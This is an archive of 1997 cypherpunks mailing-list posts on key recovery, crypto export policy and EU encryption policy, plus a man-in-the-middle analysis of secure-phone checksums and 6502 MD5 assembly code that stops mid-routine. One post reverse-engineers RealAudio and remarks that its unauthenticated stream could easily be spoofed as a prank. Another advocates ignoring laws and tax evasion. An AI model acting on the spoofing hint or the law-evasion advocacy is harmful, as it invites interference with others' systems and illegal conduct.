> since Alice's recovery key is an attribute of her self-signature, she can
> change it. She can even have a second user name (let's call it Bob), that
> has no recovery key.

Alice needs finer granuality of control.  The leakage to her boss primarily
affects her, rather than the sender.

Furthermore any auto-snoop feature sets a very dangerous precedent.

It is politically a lot more difficult for the FBI to mandate that they
can recover your data, if such a mandate leads to the message flashing up, 
"now sending a copy to the FBI" every time you decrypt something.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Fri, 10 Oct 1997 06:53:06 +0800
To: cypherpunks@toad.com
Subject: export jobs not crypto
Message-ID: <Pine.LNX.3.95.971009163000.425A-100000@is-chief>
MIME-Version: 1.0
Content-Type: text/plain




I know this is probably like preaching to the choir, but
I remember Freeh recently saying that there were no 
significant losses of software exportation to foreign
software companies.

Well he is obviously ignorant or lying through his teeth.

I'm about to recommend a software purchase from a foreign
software company that might exceed #300k.  Is that 
on Freeh's radar yet?

Mind you, I don't care where people get their software, but
if Freeh is trying to calm the America Firsters by saying 
that crypto imports aren't important I think someone is
congress ought to be informed.

Declan?  You're still out there in the pit of vipers.  Why
don't you tell them.  My congressman doesn't seem to listen
to me.


      "How do you explain school to higher intelligence?"
               Elliot to his brother in ET






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 10 Oct 1997 08:31:06 +0800
To: cypherpunks@Algebra.COM
Subject: America as a Shake Down Extortion State
In-Reply-To: <Pine.LNX.3.95.971009163000.425A-100000@is-chief>
Message-ID: <v03102800b063225382ff@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:36 PM -0700 10/9/97, Jim Burnes wrote:
>I know this is probably like preaching to the choir, but
>I remember Freeh recently saying that there were no
>significant losses of software exportation to foreign
>software companies.
>
>Well he is obviously ignorant or lying through his teeth.
>
>I'm about to recommend a software purchase from a foreign
>software company that might exceed #300k.  Is that
>on Freeh's radar yet?
>
>Mind you, I don't care where people get their software, but
>if Freeh is trying to calm the America Firsters by saying
>that crypto imports aren't important I think someone is
>congress ought to be informed.
>
>Declan?  You're still out there in the pit of vipers.  Why
>don't you tell them.  My congressman doesn't seem to listen
>to me.

What Freeh meant is that "no major political campaign contributors" are
losing business, at least not yet. What Netscape and Microsoft may be
losing, not to mention what smaller companies may be losing, is of little
concern to Clinton, Reno, Freeh, etc. Or even to the Republicans. Until
Netscape, Microsoft, RSA, PGP, and C2Net become major contributors, or at
least start showing proper respect to their Dons, they don't count.

The way an extortion state works is like this: pressure is applied to
various industries and groups to get them to contribute lobbyist money and
campaign contributions to the various sides. (It almost doesn't matter
which sides...) In most cases, the more absurd and ridiculous the law is,
the more the lobbyists are incentivized to get their funders to kick in
more bucks.

The debate over crypto almost certainly fits this pattern. If and when a
domestic ban on crypto is likely to pass and be signed, companies like RSA
and PGP will face extinction. This will then "incentivize" executives of
these companies to release funds, in the form of campaign
contributions--either directly or through back channels--to the Republican
and Democratic parties. Then a "compromise" will be found which lets RSA
and PGP, as examples, survive. And they may also be given government
business, with suitable GAK features made mandatory.

Such has it always been in "democracies" like the Extorted States of America.

So, in addition to the 40% of profits the high tech industry pays in taxes
to various governments who demand tribute, they are also expected to kick
in more bucks in campaign contributions, junkets to vacation spots, and so
on. Only then is there any chance that laws will be modified to suit the
highest bidder.

Face it, Amerika is basically a Mafia shake-down operation, with the power
of the State used to shake down protection money.

This is why I favor crypto anarchy: by concentrating on ignoring laws and
deploying technology, this extortion state system is bypassed. Also, the
tax evasion aspects are poetic justice.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Fri, 10 Oct 1997 00:08:47 +0800
To: jya@pipeline.com
Subject: Re: EU Rejects GAK
In-Reply-To: <1.5.4.32.19971009115219.006ac38c@pop.pipeline.com>
Message-ID: <9710091554.AA41750@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



> In a lengthy report released today, the European Commission said the
> American approach could threaten privacy and stifle the growth of
> electronic commerce and that it might simply be ineffective.

Theodor Schlickmann of the Commission's DG13 posted the URL:
http://www.ispo.cec.be/eif/policy/970503toc.html

Executive summary from http://www.ispo.cec.be/eif/policy/970503exec.html
follows:

ENSURING SECURITY AND TRUST IN ELECTRONIC COMMUNICATION
       Towards A European Framework for Digital Signatures And Encryption
                               EXECUTIVE SUMMARY

Introduction

Open electronic networks such as the Internet are increasingly being used as a
platform for communication in our society. They have the capacity to create new
businesses, new channels of distribution and new methods of reaching the
customer. They also open up opportunities to re-engineer business conduct
itself. It is now largely expected that electronic commerce will be one of the
key drivers for the development of the global information society. Electronic
Commerce presents the European Union with an excellent opportunity to advance
its economic integration by means of a "virtual" economic area.

However, the realisation of such developments are hampered by the noticed
insecurities typical to open networks: messages can be intercepted and
manipulated, the validity of documents can be denied, personal data can be
illicitly collected. As a result, the attractiveness and advantage of
electronic commerce and communication cannot be fully exploited.

In order to make good use of the commercial opportunities offered by electronic
communication via open networks, a more secure environment needs to be
established. Cryptographic technologies are widely recognised as essential
tools for security and trust on open networks. Two important applications of
cryptography are digital signatures and encryption.

Several Member States announced their intentions to introduce specific
regulation on cryptography and some already have done so. For instance, Germany
and Italy already moved ahead with digital signature laws. In other Member
States internal discussions are taking place, and some tend to refrain, at
least for the moment, from any specific regulation at all.

Divergent and restrictive practices with regard to cryptography can be
detrimental to the free circulation of goods and services within the Internal
Market and hinder the development of electronic commerce. The European Union
simply cannot afford a divided regulatory landscape in a field so vital for the
economy and society.

The main objectives of this Communication are to develop a European policy in
particular with a view to establishing a common framework for digital
signatures, ensuring the functioning of the Internal Market for cryptographic
services and products, stimulating a European industry for cryptographic
services and products and stimulating and enabling users in all economical
sectors to benefit from the opportunities of the global information society. As
far as timing is concerned, the Commission considers that appropriate measures
ought to be in place throughout the Union by the year 2000 at the latest. As a
consequence, the Commission intends to come forward with detailed proposals in
1998 after the assessment of comments on this Communication.

This is in line with the April 1997 adopted Communication on Electronic
Commerce, where the Commission announced the intention to prepare a policy
aiming at guaranteeing the free movement of encryption technologies and
products, as well as to propose a specific initiative on digital signatures





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 10 Oct 1997 00:35:59 +0800
To: cypherpunks@cyberpass.net
Subject: Object code disassembly (was Re: [LONG, off-topic]] Interactive Programming)
Message-ID: <199710091614.SAA25567@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> It worked.  After a few iterations of this I had all the entry points, and
> everything that didn't disassemble cleanly was outputted as hex data.
> 
> For fun, run objdump on a cleanly compiled unix binary... It makes it all
> look so easy... :)


Not quite that easy.

Awhile back I disassembled RealAudio because I was curious how their codec
worked.  Turns out it was not all that interesting and the codecs in
nautilus and speak freely are probably better.  But anyway....

Running objdump on the binary spit out ~800000 lines of code.  They
statically linked the whole thing, motif, c library, and all.  I'm not
sure what they compiled it with, the c-library they had in there didn't
look like any of the standard ones.

It disassembled fine, but 800k lines of assembler dump is not really all
that readable.  So I ended up doing it interactively, setting breakpoints
on the I/O operations and backtracing to find the coder.  The user
interface code tended to get in the way a lot.

The 1kb/s coder is very basic.  No predictor/corrector, and no redundancy
(eg lempel-ziv, rle) compression at all.  It's just a frequency/band coder
at 10 frames per second.  I guess thats so it can handle dropped frames.
No checksums at all.

The "28.8" codec is more sophisticated.  It appears to be a LPC and
compresses data into much larger blocks/packets.  I didn't look into it
too deeply because there are lots of other lpc coders available.

Shortly after this, they put out a new version 3.0, with yet another
codec, which I never looked at.  This was quite awhile ago, and all this
is from memory.

So the codec was rather uninteresting, but there were a number of other
"features" which got my attention.

I looked at the network protocol.  Its pretty simple.  The client connects
to the server and requests the file it wants.  It also sends a whole
bunch of other info, like host operating system, version number, etc.
("for statistical purposes, right?  uh huh..."  are you guys over there
at anonymizer.com reading this?  hint, hint.)

Then it does something truly bizarre.

The client and server exchange 32-digit hex numbers.  The client calls
gettimeofday() and gethostname() and uses this as a random seed.  Then
it sends a 128-bit random number, encoded as 32 ascii hex digits.  The
server does the same.

I haven't a clue what this is for.  Considering that the other data
structures are all binary, sending this as ascii is really dumb.  It looks
as though its part of some third-party library.  I thought maybe it was
some variant of netscape cookies but it doesn't save anything to disk. 
It's just wierd.  I tried stepping through this section of code a few
times, but doing so usually caused the server to time-out.

Then the server starts sending the audio file as one big stream of
packets - same format as the files it saves to disk, just broken up into
packets, each preceeded by a length byte.  In udp mode the client sends
acks every second or so.  In tcp mode there are no in-band acks at all,
it relies solely on the tcp protocol driver.  No checksums on anything,
and it uses predictable port numbers.  You can probably spoof it real
easy.  That might make for an interesting prank.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 10 Oct 1997 04:04:30 +0800
To: kelsey@plnet.net
Subject: Re: Defeating MITM with Eric's Secure Phone
In-Reply-To: <199710091653.LAA14615@email.plnet.net>
Message-ID: <199710091908.UAA00790@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




John Kelsey <kelsey@plnet.net> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> [computationally infeasible jobs for MITMs]
> I prefer to work on the more immediately useful problem: How can I
> secure my use of the (very nicely done) Comsec secure phones using
> existing infrastructure?  I am concerned with the MITM voice
> impersonation attack, since that's the easiest attack on the
> system.

We were discussing this problem before turning to talking about
automated methods.  I think Eric Blossom suggested this earlier on:

> 1.	Exchange PGP-encrypted e-mail establishing a set of
> sixteen different words, labeled for 0..f in each direction.
> Thus:
> 
> 0. Dilbert 1. Alpha 2. Cable 3. Swordsman ... f. Marxist
> 
> Now, the checksum reading is very hard to spoof.  Suppose I
> get 0x33f. I say ``My checksum is Swordsman Swordsman
> Marxist, or 33f.''

It seems like a good solution.  An interesting question might be how
many times can you use the same table without starting to leak values.
Perhaps it doesn't matter that much because the MITM can't exactly use
brute force on the problem otherwise you will know he's there.  He has
to act non-passively to extract information.  (Presuming the protocol
exchanges part of the information hashed for the challenge is
encrypted with the negotiated key).

> Now, the problem with this is that it's too cumbersome.

What would be nice would be able to have information on one sheet of
paper which you could continue to use for lots of communications,
without need for calculator, or computer, or more emailed tables.

> The simplest way to do this seems to be to just exchange a
> six-digit hex value as a one-time password for a given
> secure phone call.  This is done using PGP or some other
> mail encryption package, and can legitimately be used to
> exchange a long list of one-time passwords at once. Then,
> use Windows' calculator application to add your one-time
> password to the checksum.  Thus:
> 
> 1. I pull up Alice's latest encrypted e-mail, and get
> today's phone password.
> 
> 2. I open the Windows calculator, set it to View/Scientific
> and hex mode, and type in the password (a six-digit hex
> number) and ``+.''
> 
> 3. I call Alice, say hello, and push the ``SECURE'' button.
> 
> 4. I type the six digit hex checksum into my calculator.
> 
> 5. I read the first three digits of the result to her.  She
> reads the next three to me.

I considered this approach (XOR and + function) earlier in this
thread.  I don't think it works because the functions are commutative.
(Unless I'm missing some aspect of the system, perhaps the
interlock... it's a while since I've read the protocols.)

Here's why I think it doesn't work: We have Alice, Mallet and Bob.

Alice & Bob exchange via email password 123456.  The displayed digits
of the hash of Alice/Mallet's DH parameters are: 222222.  The
displayed digits of Mallet/Bob's DH parameters are: 333333.

Alice computes 123456 + 222222 = 345678; Alice says to Mallet: "345"
Bob computes 123546 + 333333 = 456789; Bob says to Mallet: "789"

Mallet recovers the first 3 digits of the passphrase from what Alice
said:	345 - 222 = 123

Mallet recovers the last 3 digits of the passphrase from what Bob
said:	789 - 333 = 456

Mallet has recovered the passphrase and can now spoof Alice to Bob and
Bob to Alice, he says: 456+222 = 678 to Alice, and 456+333 = 789 to
Bob.

Same story with XOR, only it's harder to compute.

I think you need an encryption function.  It depends on how many times
you wanted to re-use the passphrase.  The "encryption" function could
be very weak for one use.  For lots of uses you'd need a real
encryption function.  Problem is encryption functions aren't typically
very easy to perform as mental arithmetic exercises; and
non-programmable calculators don't help much.

The table solution gets around this problem nicely, because it is a
secure way of using a one time password.  Possibly a relatively secure
way of re-using that password even, if mallet has to become active to
obtain information, and gets detected on occasions when he doesn't
yet have sufficient information.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 10 Oct 1997 12:57:29 +0800
To: Adam Back <kelsey@plnet.net
Subject: Re: Defeating MITM with Eric's Secure Phone
In-Reply-To: <199710091653.LAA14615@email.plnet.net>
Message-ID: <v03007818b0635662f1f0@[207.94.249.179]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:08 PM -0700 10/9/97, Adam Back wrote:
>John Kelsey <kelsey@plnet.net> writes:
>> Adam Back <aba@dcs.ex.ac.uk> writes:
>> [computationally infeasible jobs for MITMs]
>> I prefer to work on the more immediately useful problem: How can I
>> secure my use of the (very nicely done) Comsec secure phones using
>> existing infrastructure?  I am concerned with the MITM voice
>> impersonation attack, since that's the easiest attack on the
>> system.
>
>We were discussing this problem before turning to talking about
>automated methods.  I think Eric Blossom suggested this earlier on:
>
>> 1.	Exchange PGP-encrypted e-mail establishing a set of
>> sixteen different words, labeled for 0..f in each direction.
>> Thus:
>>
>> 0. Dilbert 1. Alpha 2. Cable 3. Swordsman ... f. Marxist
>>
>> Now, the checksum reading is very hard to spoof.  Suppose I
>> get 0x33f. I say ``My checksum is Swordsman Swordsman
>> Marxist, or 33f.''
>
>It seems like a good solution.  An interesting question might be how
>many times can you use the same table without starting to leak values.
>Perhaps it doesn't matter that much because the MITM can't exactly use
>brute force on the problem otherwise you will know he's there.  He has
>to act non-passively to extract information.  (Presuming the protocol
>exchanges part of the information hashed for the challenge is
>encrypted with the negotiated key).
>
>> Now, the problem with this is that it's too cumbersome.
>
>What would be nice would be able to have information on one sheet of
>paper which you could continue to use for lots of communications,
>without need for calculator, or computer, or more emailed tables.

When I suggested using code words to exchange the checksum, I thought you
would have to use them in one-time-pad mode to be secure.  The following
argument makes me think you can reuse them several times, changing them at
about the same rate as you would change a symmetric crypto key.

Assume that the contents of the paper are secret between Alice and Bob.
When Alice calls Bob, she reads the word coresponding to the first digit of
the checksum.  Either Mallory is in the middle or he isn't.  If he isn't,
no problem.  The word list remains secure.

If he is in the middle, he has 15 chances in 16 of being caught on the
first exchange.  He only survives if the first digit of the Alice-Mallory
connection is the same as the first digit of the Mallory-Bob connection.
He now knows the word for one value and can continue to play 1 out of 16
times.

The probability he can survive the next word that Bob reads to Alice is
harder to calculate.  He can survive if the second digit of the Mallory-Bob
connection is the same as the second digit of the Alice-Mallory connection,
or the second digit of the Alice-Mallory connection is the same as the
first digit on that connection.  Without doing the math, Mallory's survival
probability becomes very small as the exchange continues.

If Alice and Bob catch Mallory, they talk about the weather and exchange a
new list by email.  If they don't, there is a very high probability that
the word list has not been compromised, and they can safely continue to use
it for the next call.


BTW - I really like John's idea of doing another exchange later in the
conversation.  Perhaps something like, "You know, I was dancing the Foxtrot
with my wife 9 days ago at 5AM."


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thorsten Fenk <t.fenk@ino.de>
Date: Fri, 10 Oct 1997 03:48:59 +0800
To: cypherpunks@toad.com
Subject: Re: Internet Via Electric Lines?
In-Reply-To: <199710081601.JAA15326@toad.com>
Message-ID: <19971009210730.57072@nostromo.ino.de>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3985.1071713739.multipart/signed"

--Boundary..3985.1071713739.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Cees de Groot (cg@evrl.xs4all.nl) wrote :

> In the Netherlands, every house is hooked to the natural gas network. I've
> heard rumours about them guys testing literally blowing fiber into your
> house through the gas pipes (hook fiber to a shuttle, let it loose - gas
> pressure does the rest). Never heard how they're gonna do the steering on
> junctions, though...

That's not too difficult. There have small Robots for i.e. investigating
Tubes with a Camera, sealing Leaks,etc.
The smallest Tube Diameter they can reach with a Camera is 
2,5 inch, given that there are no Curves.

regards
Thorsten


--Boundary..3985.1071713739.multipart/signed
Content-Type: application/octet-stream; name="pgp00004.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00004.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogMi42LjNp
bgoKaVFFVkF3VUJORDByY1JodXRLVkp2Yk05QVFIcGx3ZitLNzhMSC84TkFL
aXBzaE9wd2xONUtSM3ZMaGEwM09QQwpubFJ4L3NTWXI0RFd1RTRyK0xyRUFH
OTVzM2RVYXJxanNDNEFpWXhBOUpJcXRtS2lDSFRSL2xlcjNZSytiQVlDCm5R
c0JQczEzN2NWR3B6eWNNdk1TbWkvc3kxNjFHUDNoK2loMnR2YXU2Z1JFWEEv
ZjV4ekNLdHZMcVRxeHNKMlkKUHA5TGpJMXhwVmgwck1SN1V5YzVmSWt6ZnUr
OFBibTBkcmJlOGVZQS8rRk1rRW90aUlnT09xRC93cTJWMUhCSQpzeDZ2YU5w
UklOOUlidFF5bWRwVmsraXpTNHZUdmNOMm1IMFgzTWJUeVJkTzNFbnFXeFVy
ekp5NDQ3cGRYb3FJCnRHSzZrUHdvUDYycTZlN2M3QWcwbkN3bW9QNTlDYWFB
alBxbExwQWtkMHpvMndnQVo0M0tIQT09Cj16N3dhCi0tLS0tRU5EIFBHUCBT
SUdOQVRVUkUtLS0tLQo=
--Boundary..3985.1071713739.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Fri, 10 Oct 1997 03:45:23 +0800
To: cypherpunks@cyberpass.net
Subject: Re: 6502 ML programming
Message-ID: <199710091925.VAA17154@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



If you guys are still doing 6502 work, maybe you can make use of this.

--

* RSA Data Security, Inc. MD5 Message-Digest Algorithm

*
*  ***********************************************************************
*  **  Message-digest routines:                                         **
*  **  To form the message digest for a message M                       **
*  **    (1) Initialize a context buffer mdContext using MD5Init        **
*  **    (2) Call MD5Update on mdContext and M                          **
*  **    (3) Call MD5Final on mdContext                                 **
*  **  The message digest is now in the bugffer passed to MD5Final      **
*  ***********************************************************************
*

 ORG $2000

* Jump Table
 JMP MD5INIT
 JMP MD5UPD
 JMP MD5FINAL

DIGEST HEX 00000000 ;Message digest ends up here.
 HEX 00000000
 HEX 00000000
 HEX 00000000

MD5INITV HEX 01234567 ;MD5 initialization values
 HEX 89ABCDEF
 HEX FEDCBA98
 HEX 76543210

MD5BYTES DS 8 ;Counts bytes in message digest so far

MD5BUFRP HEX 00 ;Pointer to current byte in partially full buffer

MD5BUFR DS 64 ;64-byte buffer for current MD5 block

* Initialize MD5 - start new message digest

MD5INIT LDX #15 ;Load initialization constants
]LOOP LDA MD5INITV,X
 STA DIGEST,X
 DEX
 BPL ]LOOP

 LDA #0 ;Reset byte count to zero
 LDX #7
]LOOP STA MD5BYTES,X
 DEX
 BPL ]LOOP

 STA MD5BUFRP ;Reset buffer to empty

]RTS RTS


* MD5UPD - add a byte to the message digest

MD5UPD LDX MD5BUFRP
 STA MD5BUFR,X
 INX
 STX MD5BUFRP
 JSR INCBYTES
 CPX #64
 BCC ]RTS
 LDX #0
 STX MD5BUFRP
 JSR MD5DOBLK
 RTS

INCBYTES INC MD5BYTES
 BNE ]RTS
 INC MD5BYTES+1
 BNE ]RTS
 INC MD5BYTES+2
 BNE ]RTS

 HEX 0000

* MD5FINAL - do last block and compute final digest

MD5FINAL LDA #$80
 LDX MD5BUFRP
 STA MD5BUFR,X
 INX
 STX MD5BUFRP
]LOOP CPX #64
 BCC MD5FA
 LDX #0
 STX MD5BUFRP
 JSR MD5DOBLK
MD5FA LDX MD5BUFRP
 LDA #0
 STA MD5BUFR,X
 INX
 STX MD5BUFRP
 CPX #56
 BNE ]LOOP

 LDA MD5BYTES
 STA MD5BUFR+56
 LDA MD5BYTES+1
 STA MD5BUFR+57
 LDA MD5BYTES+2
 STA MD5BUFR+58
 LDA MD5BYTES+3
 STA MD5BUFR+59
 LDA MD5BYTES+4
 STA MD5BUFR+60
 LDA MD5BYTES+5
 STA MD5BUFR+61
 LDA MD5BYTES+6
 STA MD5BUFR+62
 LDA MD5BYTES+7
 STA MD5BUFR+63

 LUP 3 ;Multiply times 8
 LDA MD5BUFR+56 ; to convert number of bytes to number of bits
 ASL
 STA MD5BUFR+56
 LDA MD5BUFR+57
 ROL
 STA MD5BUFR+57
 LDA MD5BUFR+58
 ROL
 STA MD5BUFR+58
 LDA MD5BUFR+59
 ROL ;Unlikely the message would be over 500 MB
 STA MD5BUFR+59 ;so we can stop here...
 --^

 JSR MD5DOBLK
 RTS


MD5TEMPB DS 16 ;Temporary buffer for a,b,c,d
MD5TEMPV DS 4 ;Temporary 32-bit word storage (used by MD5DOBLK)
MD5TEMP2 DS 4 ;Temporary 32-bit variable #2 (used by F,G,H,I fcns)

* Block transformation

MD5DOBLK LDX #15 ;Copy values into temp buffer
]LOOP LDA DIGEST,X
 STA MD5TEMPB,X
 DEX
 BPL ]LOOP

 LDA #0
 STA MD5TP

* Round 1 : F-functions
*           a = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s). */

 JSR MD5LOADA ;1  (a,b,c,d)
 JSR F_BCD
 JSR NEXT_T ;(D76AA478)
 LDA #0
 JSR MD5ADDX
 JSR MD5RL7 ;Rotate Left 7
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;2  (d,a,b,c)
 JSR F_ABC
 JSR NEXT_T ;(E8C7B756)
 LDA #1
 JSR MD5ADDX
 JSR MD5RL12 ;Rotate Left 12
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;3  (c,d,a,b)
 JSR F_DAB
 JSR NEXT_T
 LDA #2
 JSR MD5ADDX
 JSR MD5RL17 ;Rotate left 17
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;4  (b,c,d,a)
 JSR F_CDA
 JSR NEXT_T
 LDA #3
 JSR MD5ADDX
 JSR MD5RL22 ;Rotate left 22
 JSR MD5ADDC
 JSR MD5STORB

 JSR MD5LOADA ;5  (a,b,c,d)
 JSR F_BCD
 JSR NEXT_T
 LDA #4
 JSR MD5ADDX
 JSR MD5RL7 ;<<7
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;6  (d,a,b,c)
 JSR F_ABC
 JSR NEXT_T
 LDA #5
 JSR MD5ADDX
 JSR MD5RL12 ;<<12
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;7  (c,d,a,b)
 JSR F_DAB
 JSR NEXT_T
 LDA #6
 JSR MD5ADDX
 JSR MD5RL17 ;<<17
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;8  (b,c,d,a)
 JSR F_CDA
 JSR NEXT_T
 LDA #7
 JSR MD5ADDX
 JSR MD5RL22 ;<<22
 JSR MD5ADDC
 JSR MD5STORB

 JSR MD5LOADA ;9  (a,b,c,d)
 JSR F_BCD
 JSR NEXT_T
 LDA #8
 JSR MD5ADDX
 JSR MD5RL7
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;10  (d,a,b,c)
 JSR F_ABC
 JSR NEXT_T
 LDA #9
 JSR MD5ADDX
 JSR MD5RL12
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;11  (c,d,a,b)
 JSR F_DAB
 JSR NEXT_T
 LDA #10
 JSR MD5ADDX
 JSR MD5RL17
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;12  (b,c,d,a)
 JSR F_CDA
 JSR NEXT_T
 LDA #11
 JSR MD5ADDX
 JSR MD5RL22
 JSR MD5ADDC
 JSR MD5STORB

 JSR MD5LOADA ;13  (a,b,c,d)
 JSR F_BCD
 JSR NEXT_T
 LDA #12
 JSR MD5ADDX
 JSR MD5RL7
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;14  (d,a,b,c)
 JSR F_ABC
 JSR NEXT_T
 LDA #13
 JSR MD5ADDX
 JSR MD5RL12
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;15  (c,d,a,b)
 JSR F_DAB
 JSR NEXT_T
 LDA #14
 JSR MD5ADDX
 JSR MD5RL17
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;16  (b,c,d,a)
 JSR F_CDA
 JSR NEXT_T
 LDA #15
 JSR MD5ADDX
 JSR MD5RL22
 JSR MD5ADDC
 JSR MD5STORB

* Round 2 : G-functions
*           a = b + ((a + G(b,c,d) + X[k] + T[i]) <<< s). */

 JSR MD5LOADA ;17  (a,b,c,d)
 JSR G_BCD
 JSR NEXT_T
 LDA #1
 JSR MD5ADDX
 JSR MD5RL5 ;Rotate Left 5
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;18  (d,a,b,c)
 JSR G_ABC
 JSR NEXT_T
 LDA #6
 JSR MD5ADDX
 JSR MD5RL9 ;Rotate Left 9
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;19  (c,d,a,b)
 JSR G_DAB
 JSR NEXT_T
 LDA #11
 JSR MD5ADDX
 JSR MD5RL14 ;Rotate left 14
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;20  (b,c,d,a)
 JSR G_CDA
 JSR NEXT_T
 LDA #0
 JSR MD5ADDX
 JSR MD5RL20 ;Rotate left 20
 JSR MD5ADDC
 JSR MD5STORB

 JSR MD5LOADA ;21  (a,b,c,d)
 JSR G_BCD
 JSR NEXT_T
 LDA #5
 JSR MD5ADDX
 JSR MD5RL5
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;22  (d,a,b,c)
 JSR G_ABC
 JSR NEXT_T
 LDA #10
 JSR MD5ADDX
 JSR MD5RL9
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;23  (c,d,a,b)
 JSR G_DAB
 JSR NEXT_T
 LDA #15
 JSR MD5ADDX
 JSR MD5RL14
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;24  (b,c,d,a)
 JSR G_CDA
 JSR NEXT_T
 LDA #4
 JSR MD5ADDX
 JSR MD5RL20
 JSR MD5ADDC
 JSR MD5STORB

 JSR MD5LOADA ;25  (a,b,c,d)
 JSR G_BCD
 JSR NEXT_T
 LDA #9
 JSR MD5ADDX
 JSR MD5RL5
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;26  (d,a,b,c)
 JSR G_ABC
 JSR NEXT_T
 LDA #14
 JSR MD5ADDX
 JSR MD5RL9
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;27  (c,d,a,b)
 JSR G_DAB
 JSR NEXT_T
 LDA #3
 JSR MD5ADDX
 JSR MD5RL14
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;28  (b,c,d,a)
 JSR G_CDA
 JSR NEXT_T
 LDA #8
 JSR MD5ADDX
 JSR MD5RL20
 JSR MD5ADDC
 JSR MD5STORB

 JSR MD5LOADA ;29  (a,b,c,d)
 JSR G_BCD
 JSR NEXT_T
 LDA #13
 JSR MD5ADDX
 JSR MD5RL5
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;30  (d,a,b,c)
 JSR G_ABC
 JSR NEXT_T
 LDA #2
 JSR MD5ADDX
 JSR MD5RL9
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;31  (c,d,a,b)
 JSR G_DAB
 JSR NEXT_T
 LDA #7
 JSR MD5ADDX
 JSR MD5RL14
 JSR MD5ADDD
 JSR MD5STORC

 JSR MD5LOADB ;32  (b,c,d,a)
 JSR G_CDA
 JSR NEXT_T
 LDA #12
 JSR MD5ADDX
 JSR MD5RL20
 JSR MD5ADDC
 JSR MD5STORB

* Round 3 : H-functions
*          a = b + ((a + H(b,c,d) + X[k] + T[i]) <<< s). */

 JSR MD5LOADA ;33  (a,b,c,d)
 JSR H_BCD
 JSR NEXT_T
 LDA #5
 JSR MD5ADDX
 JSR MD5RL4 ;Rotate Left 4
 JSR MD5ADDB
 JSR MD5STORA

 JSR MD5LOADD ;34  (d,a,b,c)
 JSR H_ABC
 JSR NEXT_T
 LDA #8
 JSR MD5ADDX
 JSR MD5RL11 ;Rotate Left 11
 JSR MD5ADDA
 JSR MD5STORD

 JSR MD5LOADC ;35  (c,d,a,b)
 JSR H_DAB
 JSR NEXT_T
 LDA #11
 JSR MD5ADDX
